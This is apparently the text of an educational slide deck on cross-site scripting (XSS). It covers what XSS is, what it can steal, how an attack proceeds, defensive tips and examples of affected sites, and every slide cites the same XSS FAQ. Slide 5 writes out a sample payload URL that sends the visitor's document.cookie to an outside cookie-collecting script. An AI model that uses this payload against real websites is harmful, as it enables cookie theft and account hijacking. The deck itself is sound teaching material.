1. Information Systems Security LAÏMOUCHE El Hadj, DAVY Benjamin 1source : http://www.cgisecurity.com/articles/xss-faq.shtml

2.  Users data gathered by a website.  Using malicious code hidden in links, posts on a board or e-mails.  Encoded to be less suspicious : e.g. in HEX. 2source : http://www.cgisecurity.com/articles/xss-faq.shtml

3.  Often people refer to Cross Site Scripting as CSS.  CSS is also used for Cascading Style Sheets.  When you see XSS you can be sure it’s talking about the security threat. source : http://www.cgisecurity.com/articles/xss-faq.shtml3

4.  Injection of JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user.  Account, users settings, cookie theft, false advertising is possible. source : http://www.cgisecurity.com/articles/xss-faq.shtml4

5.  Target a website using cookies.  Test how it works and where it’s possible to insert code (e.g. enabled HTML in a form).  Javascript code : http://host/a.php?variable="> document.location='ht tp://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie source : http://www.cgisecurity.com/articles/xss-faq.shtml5

6.  Follow links from the main website.  Be careful XSS can be executed automatically when you open an e-mail, read a guestbook …  Turn off javascript.  Encryption is useless. source : http://www.cgisecurity.com/articles/xss-faq.shtml6

7.  Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.  10-25 XSS holes are found every month. source : http://www.cgisecurity.com/articles/xss-faq.shtml7

8.  Any questions ? source : http://www.cgisecurity.com/articles/xss-faq.shtml8